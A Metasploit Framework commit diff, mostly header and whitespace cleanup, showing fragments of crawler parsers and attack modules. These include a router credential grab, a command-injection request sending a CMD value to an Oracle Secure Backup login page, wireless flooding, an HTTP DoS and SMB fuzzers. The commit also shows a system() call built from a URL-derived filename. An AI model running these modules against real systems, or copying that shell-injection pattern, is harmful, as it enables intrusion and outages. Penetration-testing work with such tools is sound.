more cleanups
git-svn-id: file:///home/svn/framework3/trunk@9212 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
@@ -1,3 +1,16 @@
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
# $Revision$
|
||||
|
||||
require 'rubygems'
|
||||
require 'pathname'
|
||||
require 'hpricot'
|
||||
@@ -6,28 +19,28 @@ require 'uri'
|
||||
class CrawlerSimple < BaseParser
|
||||
|
||||
def parse(request,result)
|
||||
|
||||
|
||||
if !result['Content-Type'].include? "text/html"
|
||||
return
|
||||
end
|
||||
|
||||
|
||||
doc = Hpricot(result.body.to_s)
|
||||
doc.search('a').each do |link|
|
||||
|
||||
|
||||
hr = link.attributes['href']
|
||||
|
||||
if hr and !hr.match(/^(\#|javascript\:)/)
|
||||
|
||||
if hr and !hr.match(/^(\#|javascript\:)/)
|
||||
begin
|
||||
hreq = urltohash('GET',hr,request['uri'],nil)
|
||||
|
||||
hreq = urltohash('GET',hr,request['uri'],nil)
|
||||
|
||||
insertnewpath(hreq)
|
||||
|
||||
|
||||
rescue URI::InvalidURIError
|
||||
#puts "Parse error"
|
||||
#puts "Error: #{link[0]}"
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
+33
-21
@@ -1,8 +1,20 @@
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
# $Revision$
|
||||
|
||||
require 'rubygems'
|
||||
require 'pathname'
|
||||
require 'uri'
|
||||
|
||||
|
||||
$flarebinary = "/home/et/Downloads/flare"
|
||||
$flareoutdir = "/home/et/Downloads/"
|
||||
|
||||
@@ -13,52 +25,52 @@ class CrawlerFlash < BaseParser
|
||||
rexp = ['loadMovieNum\(\'(.*?)\'',
|
||||
'loadMovie\(\'(.*?)\'',
|
||||
'getURL\(\'(.*?)\''
|
||||
]
|
||||
]
|
||||
|
||||
|
||||
|
||||
if !result['Content-Type'].include? "application/x-shockwave-flash"
|
||||
return
|
||||
end
|
||||
|
||||
|
||||
outswf = File.join($flareoutdir,request['uri'].gsub(/\//,'_'))
|
||||
|
||||
puts "Downloading SWF file to: #{outswf}"
|
||||
|
||||
ffile = File.new(outswf, "wb")
|
||||
|
||||
puts "Downloading SWF file to: #{outswf}"
|
||||
|
||||
ffile = File.new(outswf, "wb")
|
||||
ffile.puts(result.body)
|
||||
ffile.close
|
||||
ffile.close
|
||||
|
||||
system("#{$flarebinary} #{outswf}")
|
||||
|
||||
|
||||
outflr = outswf.gsub('.swf','.flr')
|
||||
|
||||
|
||||
if File.exists?(outflr)
|
||||
puts "Decompiled SWF file to: #{outflr}"
|
||||
puts "Decompiled SWF file to: #{outflr}"
|
||||
else
|
||||
puts "Error: Decompilation failed."
|
||||
return
|
||||
end
|
||||
|
||||
|
||||
File.open(outflr, "r") do |infile|
|
||||
while (line = infile.gets)
|
||||
|
||||
rexp.each do |r|
|
||||
links = line.to_s.scan(Regexp.new(r,true)) #"
|
||||
links.each do |link|
|
||||
|
||||
rexp.each do |r|
|
||||
links = line.to_s.scan(Regexp.new(r,true)) #"
|
||||
links.each do |link|
|
||||
|
||||
begin
|
||||
hreq = urltohash('GET',link[0],request['uri'],nil)
|
||||
|
||||
insertnewpath(hreq)
|
||||
|
||||
|
||||
rescue URI::InvalidURIError
|
||||
#puts "Parse error"
|
||||
#puts "Error: #{link[0]}"
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
+33
-20
@@ -1,3 +1,16 @@
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
# $Revision$
|
||||
|
||||
require 'rubygems'
|
||||
require 'pathname'
|
||||
require 'hpricot'
|
||||
@@ -6,11 +19,11 @@ require 'uri'
|
||||
class CrawlerForms < BaseParser
|
||||
|
||||
def parse(request,result)
|
||||
|
||||
|
||||
if !result['Content-Type'].include? "text/html"
|
||||
return
|
||||
end
|
||||
|
||||
|
||||
hr = ''
|
||||
m = ''
|
||||
|
||||
@@ -21,44 +34,44 @@ class CrawlerForms < BaseParser
|
||||
fname = f.attributes['name']
|
||||
if fname.empty?
|
||||
fname = "NONE"
|
||||
end
|
||||
end
|
||||
|
||||
m = "GET"
|
||||
if !f.attributes['method'].empty?
|
||||
m = f.attributes['method'].upcase
|
||||
end
|
||||
|
||||
#puts "Parsing form name: #{fname} (#{m})"
|
||||
|
||||
|
||||
#puts "Parsing form name: #{fname} (#{m})"
|
||||
|
||||
htmlform = Hpricot(f.inner_html)
|
||||
|
||||
|
||||
arrdata = []
|
||||
|
||||
|
||||
htmlform.search('input').each do |p|
|
||||
#puts p.attributes['name']
|
||||
#puts p.attributes['type']
|
||||
#puts p.attributes['value']
|
||||
|
||||
#raw_request has uri_encoding disabled as it encodes '='.
|
||||
arrdata << (p.attributes['name'] + "=" + Rex::Text.uri_encode(p.attributes['value']))
|
||||
|
||||
#raw_request has uri_encoding disabled as it encodes '='.
|
||||
arrdata << (p.attributes['name'] + "=" + Rex::Text.uri_encode(p.attributes['value']))
|
||||
end
|
||||
|
||||
|
||||
data = arrdata.join("&").to_s
|
||||
|
||||
|
||||
|
||||
|
||||
begin
|
||||
hreq = urltohash(m,hr,request['uri'],data)
|
||||
|
||||
|
||||
hreq['ctype'] = 'application/x-www-form-urlencoded'
|
||||
|
||||
|
||||
insertnewpath(hreq)
|
||||
|
||||
|
||||
|
||||
|
||||
rescue URI::InvalidURIError
|
||||
#puts "Parse error"
|
||||
#puts "Error: #{link[0]}"
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
@@ -1,3 +1,16 @@
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
# $Revision$
|
||||
|
||||
require 'rubygems'
|
||||
require 'pathname'
|
||||
require 'hpricot'
|
||||
@@ -6,11 +19,11 @@ require 'uri'
|
||||
class CrawlerObjects < BaseParser
|
||||
|
||||
def parse(request,result)
|
||||
|
||||
|
||||
if !result['Content-Type'].include? "text/html"
|
||||
return
|
||||
end
|
||||
|
||||
|
||||
hr = ''
|
||||
m = ''
|
||||
|
||||
@@ -21,15 +34,15 @@ class CrawlerObjects < BaseParser
|
||||
|
||||
begin
|
||||
hreq = urltohash('GET',s,request['uri'],nil)
|
||||
|
||||
|
||||
insertnewpath(hreq)
|
||||
|
||||
|
||||
|
||||
|
||||
rescue URI::InvalidURIError
|
||||
#puts "Parse error"
|
||||
#puts "Error: #{link[0]}"
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
@@ -1,3 +1,16 @@
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
# $Revision$
|
||||
|
||||
require 'rubygems'
|
||||
require 'pathname'
|
||||
require 'hpricot'
|
||||
@@ -6,11 +19,11 @@ require 'uri'
|
||||
class CrawlerScripts < BaseParser
|
||||
|
||||
def parse(request,result)
|
||||
|
||||
|
||||
if !result['Content-Type'].include? "text/html"
|
||||
return
|
||||
end
|
||||
|
||||
|
||||
hr = ''
|
||||
m = ''
|
||||
|
||||
@@ -20,16 +33,16 @@ class CrawlerScripts < BaseParser
|
||||
s = obj['src']
|
||||
|
||||
begin
|
||||
hreq = urltohash('GET',s,request['uri'],nil)
|
||||
|
||||
hreq = urltohash('GET',s,request['uri'],nil)
|
||||
|
||||
insertnewpath(hreq)
|
||||
|
||||
|
||||
|
||||
|
||||
rescue URI::InvalidURIError
|
||||
#puts "Parse error"
|
||||
#puts "Error: #{link[0]}"
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
@@ -1,8 +1,12 @@
|
||||
#!/usr/bin/env ruby
|
||||
#
|
||||
# $Id$
|
||||
#
|
||||
# This sample demonstrates how a module's information can be easily serialized
|
||||
# to a readable format.
|
||||
#
|
||||
# $Revision$
|
||||
#
|
||||
|
||||
$:.unshift(File.join(File.dirname(__FILE__), '..', '..', '..', 'lib'))
|
||||
|
||||
|
||||
@@ -1,8 +1,12 @@
|
||||
#!/usr/bin/env ruby
|
||||
#
|
||||
# $Id$
|
||||
#
|
||||
# This sample demonstrates how a file can be encoded using a framework
|
||||
# encoder.
|
||||
#
|
||||
# $Revision$
|
||||
#
|
||||
|
||||
$:.unshift(File.join(File.dirname(__FILE__), '..', '..', '..', 'lib'))
|
||||
|
||||
|
||||
@@ -1,8 +1,12 @@
|
||||
#!/usr/bin/env ruby
|
||||
#
|
||||
# $Id$
|
||||
#
|
||||
# This sample demonstrates enumerating all of the modules in the framework and
|
||||
# displays their module type and reference name.
|
||||
#
|
||||
# $Revision$
|
||||
#
|
||||
|
||||
$:.unshift(File.join(File.dirname(__FILE__), '..', '..', '..', 'lib'))
|
||||
|
||||
|
||||
@@ -1,9 +1,13 @@
|
||||
#!/usr/bin/env ruby
|
||||
#
|
||||
# $Id$
|
||||
#
|
||||
# This sample demonstrates using the framework core directly to launch an
|
||||
# exploit. It makes use of the simplified exploit wrapper method provided by
|
||||
# the Msf::Simple::Exploit mixin.
|
||||
#
|
||||
# $Revision$
|
||||
#
|
||||
|
||||
$:.unshift(File.join(File.dirname(__FILE__), '..', '..', '..', 'lib'))
|
||||
|
||||
|
||||
@@ -1,10 +1,14 @@
|
||||
#!/usr/bin/env ruby
|
||||
#
|
||||
# $Id$
|
||||
#
|
||||
# This sample demonstrates using the framework core directly to launch an
|
||||
# exploit. It uses the framework base Framework class so that the
|
||||
# distribution module path is automatically set, but relies strictly on
|
||||
# framework core classes for everything else.
|
||||
#
|
||||
# $Revision$
|
||||
#
|
||||
|
||||
$:.unshift(File.join(File.dirname(__FILE__), '..', '..', '..', 'lib'))
|
||||
|
||||
|
||||
@@ -1,15 +1,14 @@
|
||||
##
|
||||
# $Id: test.rb 4419 2007-02-18 00:10:39Z hdm $
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/projects/Framework/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
module Msf
|
||||
@@ -49,7 +48,7 @@ class Auxiliary::Sample < Msf::Auxiliary
|
||||
def cmd_aux_extra_command(*args)
|
||||
print_status("Running inside aux_extra_command()")
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -1,3 +1,14 @@
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
module Msf
|
||||
module Encoders
|
||||
|
||||
@@ -28,7 +39,7 @@ class Sample < Msf::Encoder
|
||||
buf
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
@@ -1,3 +1,14 @@
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
module Msf
|
||||
@@ -19,20 +30,23 @@ class Exploits::Sample < Msf::Exploit::Remote
|
||||
super(update_info(info,
|
||||
'Name' => 'Sample exploit',
|
||||
'Description' => %q{
|
||||
This exploit module illustrates how a vulnerability could be exploited
|
||||
This exploit module illustrates how a vulnerability could be exploited
|
||||
in an TCP server that has a parsing bug.
|
||||
},
|
||||
'Author' => 'skape',
|
||||
'Version' => '$Revision$',
|
||||
'References' =>
|
||||
[
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 1000,
|
||||
'BadChars' => "\x00",
|
||||
},
|
||||
'Targets' =>
|
||||
'Targets' =>
|
||||
[
|
||||
# Target 0: Windows All
|
||||
[
|
||||
[
|
||||
'Windows Universal',
|
||||
{
|
||||
'Platform' => 'win',
|
||||
|
||||
@@ -1,3 +1,14 @@
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
module Msf
|
||||
|
||||
@@ -1,3 +1,14 @@
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
module Msf
|
||||
@@ -30,6 +41,6 @@ module Sample
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -1,3 +1,7 @@
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
@@ -5,7 +9,6 @@
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
@@ -1,3 +1,14 @@
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
@@ -8,7 +19,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
super(update_info(info,
|
||||
'Name' => 'Motorola WR850G v4.03 Credentials',
|
||||
'Description' => %q{
|
||||
Login credentials to the Motorola WR850G router with
|
||||
Login credentials to the Motorola WR850G router with
|
||||
firmware v4.03 can be obtained via a simple GET request
|
||||
if issued while the administrator is logged in. A lot
|
||||
more information is available through this request, but
|
||||
|
||||
@@ -25,7 +25,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
},
|
||||
'Author' => [ 'MC' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'Version' => '$Revision: 7688 $',
|
||||
'Version' => '$Revision$',
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'https://www.metasploit.com/users/mc' ],
|
||||
|
||||
@@ -1,3 +1,7 @@
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
@@ -44,14 +48,14 @@ class Metasploit3 < Msf::Auxiliary
|
||||
cmd = datastore['CMD']
|
||||
|
||||
uri = "/login.php?clear=no&ora_osb_lcookie=&ora_osb_bgcookie=#{r}&button=Logout&rbtool="
|
||||
|
||||
|
||||
req = uri + Rex::Text.uri_encode(cmd)
|
||||
|
||||
|
||||
print_status("Sending command: #{datastore['CMD']}...")
|
||||
|
||||
res = send_request_raw({'uri' => req,},5)
|
||||
|
||||
|
||||
print_status("Done.")
|
||||
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
@@ -20,14 +20,14 @@ class Metasploit3 < Msf::Auxiliary
|
||||
super(update_info(info,
|
||||
'Name' => 'Wireless CTS/RTS Flooder',
|
||||
'Description' => %q{
|
||||
This module sends 802.11 CTS/RTS requests to a specific wireless peer,
|
||||
using the specified source address,
|
||||
},
|
||||
|
||||
This module sends 802.11 CTS/RTS requests to a specific wireless peer,
|
||||
using the specified source address,
|
||||
},
|
||||
'Author' => [ 'Brad Antoniewicz' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'Version' => '$Revision$'
|
||||
))
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('ADDR_DST',[true, "TARGET MAC (e.g 00:DE:AD:BE:EF:00)"]),
|
||||
|
||||
@@ -1,15 +1,26 @@
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Lorcon2
|
||||
include Msf::Auxiliary::Dos
|
||||
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Wireless Frame (File) Injector',
|
||||
'Description' => %q{
|
||||
Inspired by Josh Wright's file2air, this module writes
|
||||
Inspired by Josh Wright's file2air, this module writes
|
||||
wireless frames from a binary file to the air, allowing
|
||||
you to substitute some addresses before it gets sent.
|
||||
Unlike the original file2air (currently v1.1), this module
|
||||
@@ -62,7 +73,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
end
|
||||
|
||||
close_wifi
|
||||
end
|
||||
end
|
||||
|
||||
def substaddrs(frame)
|
||||
tods = (frame[1] & 1) == 1
|
||||
|
||||
@@ -9,10 +9,8 @@
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Lorcon2
|
||||
@@ -35,8 +33,8 @@ class Metasploit3 < Msf::Auxiliary
|
||||
with a supported wireless card. Please see the Ruby Lorcon2 documentation
|
||||
(external/ruby-lorcon/README) for more information.
|
||||
},
|
||||
|
||||
'Author' => [ 'Laurent Butti <0x9090 [at] gmail.com>' ], # initial discovery and metasploit module
|
||||
'Version' => '$Revision$',
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
|
||||
@@ -9,10 +9,8 @@
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Lorcon2
|
||||
@@ -32,18 +30,17 @@ class Metasploit3 < Msf::Auxiliary
|
||||
This module depends on the Lorcon2 library and only works on the Linux platform
|
||||
with a supported wireless card. Please see the Ruby Lorcon2 documentation
|
||||
(external/ruby-lorcon/README) for more information.
|
||||
|
||||
},
|
||||
|
||||
'Author' => [ 'Laurent Butti <0x9090 [at] gmail.com>' ], # initial discovery and metasploit module
|
||||
'Version' => '$Revision$',
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[
|
||||
['CVE', '2006-6125'],
|
||||
['OSVDB', '30511'],
|
||||
['URL', 'http://projects.info-pull.com/mokb/MOKB-22-11-2006.html'],
|
||||
['URL', 'ftp://downloads.netgear.com/files/wg311_1_3.zip'],
|
||||
]
|
||||
]
|
||||
))
|
||||
register_options(
|
||||
[
|
||||
|
||||
@@ -1,12 +1,23 @@
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Dos
|
||||
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
super(update_info(info,
|
||||
'Name' => 'Pi3Web <=2.0.13 ISAPI DoS',
|
||||
'Description' => %q{
|
||||
The Pi3Web HTTP server crashes when a request is made
|
||||
@@ -39,7 +50,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
print_status("Request sent to #{rhost}:#{rport}")
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
||||
print_status("Couldn't connect to #{rhost}:#{rport}")
|
||||
rescue ::Timeout::Error, ::Errno::EPIPE
|
||||
rescue ::Timeout::Error, ::Errno::EPIPE
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -16,7 +16,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Auxiliary::Fuzzer
|
||||
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'SMB Negotiate SMB2 Dialect Corruption',
|
||||
@@ -33,7 +33,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
OptInt.new('MAXDEPTH', [false, 'Specify a maximum byte depth to test'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
||||
def do_smb_negotiate(pkt,opts={})
|
||||
@connected = false
|
||||
connect
|
||||
@@ -41,27 +41,27 @@ class Metasploit3 < Msf::Auxiliary
|
||||
sock.put(pkt)
|
||||
sock.get_once(-1, opts[:timeout])
|
||||
end
|
||||
|
||||
|
||||
def run
|
||||
last_str = nil
|
||||
last_inp = nil
|
||||
last_err = nil
|
||||
|
||||
|
||||
pkt = make_smb_negotiate
|
||||
cnt = 0
|
||||
|
||||
|
||||
max = datastore['MAXDEPTH'].to_i
|
||||
max = nil if max == 0
|
||||
tot = ( max ? [max,pkt.length].min : pkt.length) * 256
|
||||
|
||||
|
||||
print_status("Fuzzing SMB negotiate packet with #{tot} requests")
|
||||
fuzz_string_corrupt_byte_reverse(pkt,max) do |str|
|
||||
cnt += 1
|
||||
|
||||
|
||||
if(cnt % 100 == 0)
|
||||
print_status("Fuzzing with iteration #{cnt}/#{tot} using #{@last_fuzzer_input}")
|
||||
end
|
||||
|
||||
|
||||
begin
|
||||
r = do_smb_negotiate(str, 0.25)
|
||||
rescue ::Interrupt
|
||||
@@ -72,21 +72,21 @@ class Metasploit3 < Msf::Auxiliary
|
||||
ensure
|
||||
disconnect
|
||||
end
|
||||
|
||||
|
||||
if(not @connected)
|
||||
if(last_str)
|
||||
print_status("The service may have crashed: iteration:#{cnt-1} method=#{last_inp} string=#{last_str.unpack("H*")[0]} error=#{last_err}")
|
||||
else
|
||||
print_status("Could not connect to the service: #{last_err}")
|
||||
print_status("Could not connect to the service: #{last_err}")
|
||||
end
|
||||
return
|
||||
end
|
||||
|
||||
|
||||
last_str = str
|
||||
last_inp = @last_fuzzer_input
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def make_smb_negotiate
|
||||
# The SMB 2 dialect must be there
|
||||
dialects = ['PC NETWORK PROGRAM 1.0', 'LANMAN1.0', 'Windows for Workgroups 3.1a', 'LM1.2X002', 'LANMAN2.1', 'NT LM 0.12', 'SMB 2.002']
|
||||
|
||||
@@ -16,7 +16,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::SMB
|
||||
include Msf::Auxiliary::Fuzzer
|
||||
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'SMB Create Pipe Request Fuzzer',
|
||||
@@ -29,7 +29,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
'Version' => '$Revision$'
|
||||
))
|
||||
end
|
||||
|
||||
|
||||
def do_smb_create(pkt,opts={})
|
||||
@connected = false
|
||||
connect
|
||||
@@ -37,21 +37,21 @@ class Metasploit3 < Msf::Auxiliary
|
||||
@connected = true
|
||||
smb_create("\\" + pkt)
|
||||
end
|
||||
|
||||
|
||||
def run
|
||||
last_str = nil
|
||||
last_inp = nil
|
||||
last_err = nil
|
||||
|
||||
|
||||
cnt = 0
|
||||
|
||||
fuzz_strings do |str|
|
||||
cnt += 1
|
||||
|
||||
|
||||
if(cnt % 100 == 0)
|
||||
print_status("Fuzzing with iteration #{cnt} using #{@last_fuzzer_input}")
|
||||
end
|
||||
|
||||
|
||||
begin
|
||||
do_smb_create(str, 0.25)
|
||||
rescue ::Interrupt
|
||||
@@ -62,16 +62,16 @@ class Metasploit3 < Msf::Auxiliary
|
||||
ensure
|
||||
disconnect
|
||||
end
|
||||
|
||||
|
||||
if(not @connected)
|
||||
if(last_str)
|
||||
print_status("The service may have crashed: iteration:#{cnt-1} method=#{last_inp} string=#{last_str.unpack("H*")[0]} error=#{last_err}")
|
||||
else
|
||||
print_status("Could not connect to the service: #{last_err}")
|
||||
print_status("Could not connect to the service: #{last_err}")
|
||||
end
|
||||
return
|
||||
end
|
||||
|
||||
|
||||
last_str = str
|
||||
last_inp = @last_fuzzer_input
|
||||
end
|
||||
|
||||
@@ -16,7 +16,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::SMB
|
||||
include Msf::Auxiliary::Fuzzer
|
||||
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'SMB Create Pipe Request Corruption',
|
||||
@@ -32,43 +32,43 @@ class Metasploit3 < Msf::Auxiliary
|
||||
OptString.new('SMBPIPE', [true, 'Specify the pipe name to corrupt', "\\BROWSER"])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
||||
def do_smb_login(pkt,opts={})
|
||||
@connected = false
|
||||
connect
|
||||
smb_login
|
||||
|
||||
|
||||
@connected = true
|
||||
sock.put(pkt)
|
||||
sock.get_once(-1, opts[:timeout])
|
||||
end
|
||||
|
||||
|
||||
def run
|
||||
|
||||
|
||||
# Connect in order to get the server-assigned user-id/tree-id
|
||||
connect
|
||||
smb_login
|
||||
pkt = make_smb_create
|
||||
disconnect
|
||||
|
||||
|
||||
last_str = nil
|
||||
last_inp = nil
|
||||
last_err = nil
|
||||
|
||||
|
||||
cnt = 0
|
||||
|
||||
|
||||
max = datastore['MAXDEPTH'].to_i
|
||||
max = nil if max == 0
|
||||
tot = ( max ? [max,pkt.length].min : pkt.length) * 256
|
||||
|
||||
|
||||
print_status("Fuzzing SMB create pipe with #{tot} requests")
|
||||
fuzz_string_corrupt_byte_reverse(pkt,max) do |str|
|
||||
cnt += 1
|
||||
|
||||
|
||||
if(cnt % 100 == 0)
|
||||
print_status("Fuzzing with iteration #{cnt}/#{tot} using #{@last_fuzzer_input}")
|
||||
end
|
||||
|
||||
|
||||
begin
|
||||
r = do_smb_login(str, 0.25)
|
||||
rescue ::Interrupt
|
||||
@@ -79,42 +79,42 @@ class Metasploit3 < Msf::Auxiliary
|
||||
ensure
|
||||
disconnect
|
||||
end
|
||||
|
||||
|
||||
if(not @connected)
|
||||
if(last_str)
|
||||
print_status("The service may have crashed: iteration:#{cnt-1} method=#{last_inp} string=#{last_str.unpack("H*")[0]} error=#{last_err}")
|
||||
else
|
||||
print_status("Could not connect to the service: #{last_err}")
|
||||
print_status("Could not connect to the service: #{last_err}")
|
||||
end
|
||||
return
|
||||
end
|
||||
|
||||
|
||||
last_str = str
|
||||
last_inp = @last_fuzzer_input
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def make_smb_create
|
||||
|
||||
filename = datastore['SMBPIPE']
|
||||
disposition = 1
|
||||
impersonation = 2
|
||||
|
||||
|
||||
pkt = Rex::Proto::SMB::Constants::SMB_CREATE_PKT.make_struct
|
||||
self.simple.client.smb_defaults(pkt['Payload']['SMB'])
|
||||
|
||||
|
||||
pkt['Payload']['SMB'].v['Command'] = Rex::Proto::SMB::Constants::SMB_COM_NT_CREATE_ANDX
|
||||
pkt['Payload']['SMB'].v['Flags1'] = 0x18
|
||||
pkt['Payload']['SMB'].v['Flags2'] = 0x2001
|
||||
pkt['Payload']['SMB'].v['WordCount'] = 24
|
||||
|
||||
|
||||
pkt['Payload'].v['AndX'] = 255
|
||||
pkt['Payload'].v['FileNameLen'] = filename.length
|
||||
pkt['Payload'].v['CreateFlags'] = 0x16
|
||||
pkt['Payload'].v['AccessMask'] = 0x02000000 # Maximum Allowed
|
||||
pkt['Payload'].v['ShareAccess'] = 7
|
||||
pkt['Payload'].v['CreateOptions'] = 0
|
||||
pkt['Payload'].v['Impersonation'] = impersonation
|
||||
